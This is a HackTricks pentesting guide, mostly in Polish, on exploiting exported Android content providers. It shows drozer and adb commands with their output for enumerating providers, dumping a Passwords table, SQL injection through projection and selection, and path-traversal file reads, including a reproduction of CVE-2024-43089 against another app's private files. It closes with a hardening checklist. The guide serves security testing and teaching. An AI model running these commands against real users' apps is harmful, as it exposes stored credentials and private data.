Exploiting Content Providers
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Intro
Dane są dostarczane z jednej aplikacji do innych na żądanie przez komponent znany jako content provider. Te żądania są zarządzane przez metody klasy ContentResolver. Content providers mogą przechowywać swoje dane w różnych lokalizacjach, takich jak baza danych, pliki lub przez sieć.
W pliku Manifest.xml wymagana jest deklaracja content providera. Na przykład:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Aby uzyskać dostęp do content://com.mwr.example.sieve.DBContentProvider/Keys
, konieczne jest posiadanie uprawnienia READ_KEYS
. Interesujące jest to, że ścieżka /Keys/
jest dostępna w następującej sekcji, która nie jest chroniona z powodu błędu dewelopera, który zabezpieczył /Keys
, ale zadeklarował /Keys/
.
Możesz uzyskać dostęp do danych prywatnych lub wykorzystać jakąś lukę (SQL Injection lub Path Traversal).
Uzyskaj informacje z ujawnionych dostawców treści
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Możliwe jest złożenie informacji, jak dotrzeć do DBContentProvider, zaczynając URI od “content://”. To podejście opiera się na spostrzeżeniach uzyskanych z używania Drozer, gdzie kluczowe informacje znajdowały się w katalogu /Keys.
Drozer może zgadywać i próbować kilka URI:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Powinieneś również sprawdzić kod ContentProvider, aby poszukać zapytań:
Jeśli nie możesz znaleźć pełnych zapytań, możesz sprawdzić, jakie nazwy są zadeklarowane przez ContentProvider w metodzie onCreate
:
Zapytań będzie w formacie: content://name.of.package.class/declared_name
Content Providers oparte na bazie danych
Prawdopodobnie większość Content Providers jest używana jako interfejs dla bazy danych. Dlatego, jeśli możesz uzyskać do niej dostęp, będziesz mógł wyodrębnić, zaktualizować, wstawić i usunąć informacje.
Sprawdź, czy możesz uzyskać dostęp do wrażliwych informacji lub spróbuj je zmienić, aby obejść mechanizmy autoryzacji.
Sprawdzając kod Content Provider, zwróć uwagę również na funkcje nazwane jak: query, insert, update i delete:
Ponieważ będziesz mógł je wywołać
Zapytanie o treść
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Insert content
Quering the database you will learn the name of the columns, then, you could be able to insert data in the DB:
Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean
Update content
Knowing the name of the columns you could also modify the entries:
Delete content
SQL Injection
It is simple to test for SQL injection (SQLite) by manipulating the projection and selection fields that are passed to the content provider.
When quering the Content Provider there are 2 interesting arguments to search for information: --selection and --projection:
You can try to abuse this parameters to test for SQL injections:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Automatyczne wykrywanie SQLInjection przez Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Dostawcy treści oparte na systemie plików
Dostawcy treści mogą być również używani do uzyskiwania dostępu do plików:
Odczytaj plik
Możesz odczytać pliki z dostawcy treści.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Path Traversal
Jeśli masz dostęp do plików, możesz spróbować wykorzystać Path Traversal (w tym przypadku nie jest to konieczne, ale możesz spróbować użyć "../" i podobnych sztuczek).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Automatyczne odkrywanie przejść ścieżek przez Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
2023-2025 Aktualizacje i nowoczesne wskazówki
Drozer 3.x (Python 3) jest dostępny
WithSecure wznowił utrzymanie drozer w 2022 roku i przeniósł framework do Python 3 (najnowszy 3.1.0 – kwiecień 2024). Oprócz poprawek zgodności, nowe moduły, które są szczególnie przydatne podczas pracy z Content Providers, obejmują:
scanner.provider.exported
– lista tylko tych providerów, które mająandroid:exported="true"
.app.provider.grant
– automatycznie wywołujegrantUriPermission()
, aby można było rozmawiać z providerami, którzy oczekująFLAG_GRANT_READ_URI_PERMISSION
/FLAG_GRANT_WRITE_URI_PERMISSION
na Androidzie 12+.- Lepsze zarządzanie Scoped Storage, dzięki czemu providerzy oparte na plikach na Androidzie 11+ mogą być nadal osiągnięci.
Aktualizacja (host & agent):
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
Używanie wbudowanej pomocy cmd content
(ADB ≥ 8.0)
Wszystkie nowoczesne urządzenia z Androidem wyposażone są w CLI, które może zapytywać/aktualizować dostawców bez instalowania jakiegoś agenta:
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
Połącz to z run-as <pkg>
lub z dostępem do roota, aby przetestować wewnętrzne tylko dostawców.
Ostatnie rzeczywiste CVE, które nadużywały dostawców treści
CVE | Rok | Komponent | Klasa błędu | Wpływ |
---|---|---|---|---|
CVE-2024-43089 | 2024 | MediaProvider | Przechodzenie ścieżki w openFile() | Dowolne odczytywanie plików z prywatnej pamięci dowolnej aplikacji |
CVE-2023-35670 | 2023 | MediaProvider | Przechodzenie ścieżki | Ujawnienie informacji |
Odtwórz CVE-2024-43089 na podatnej wersji:
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
Lista kontrolna wzmacniania dla API 30+
- Deklaruj
android:exported="false"
chyba że dostawca musi być publiczny – od API 31 atrybut jest obowiązkowy. - Wymuszaj uprawnienia i/lub
android:grantUriPermissions="true"
zamiast eksportować cały dostawca. - Wprowadź białą listę dozwolonych argumentów
projection
,selection
isortOrder
(np. buduj zapytania za pomocąSQLiteQueryBuilder.setProjectionMap
). - W
openFile()
kanonizuj żądany path (FileUtils
) i odrzucaj sekwencje..
, aby zapobiec przechodzeniu. - Przy udostępnianiu plików preferuj Storage Access Framework lub
FileProvider
.
Te zmiany w ostatnich wersjach Androida oznaczają, że wiele dziedzicznych prymitywów eksploatacyjnych nadal działa, ale wymagają dodatkowych flag/uprawnień, które zaktualizowane moduły drozer lub pomocnik cmd content
mogą zastosować automatycznie.
Odniesienia
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
- https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
- https://source.android.com/security/bulletin/2024-07-01
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.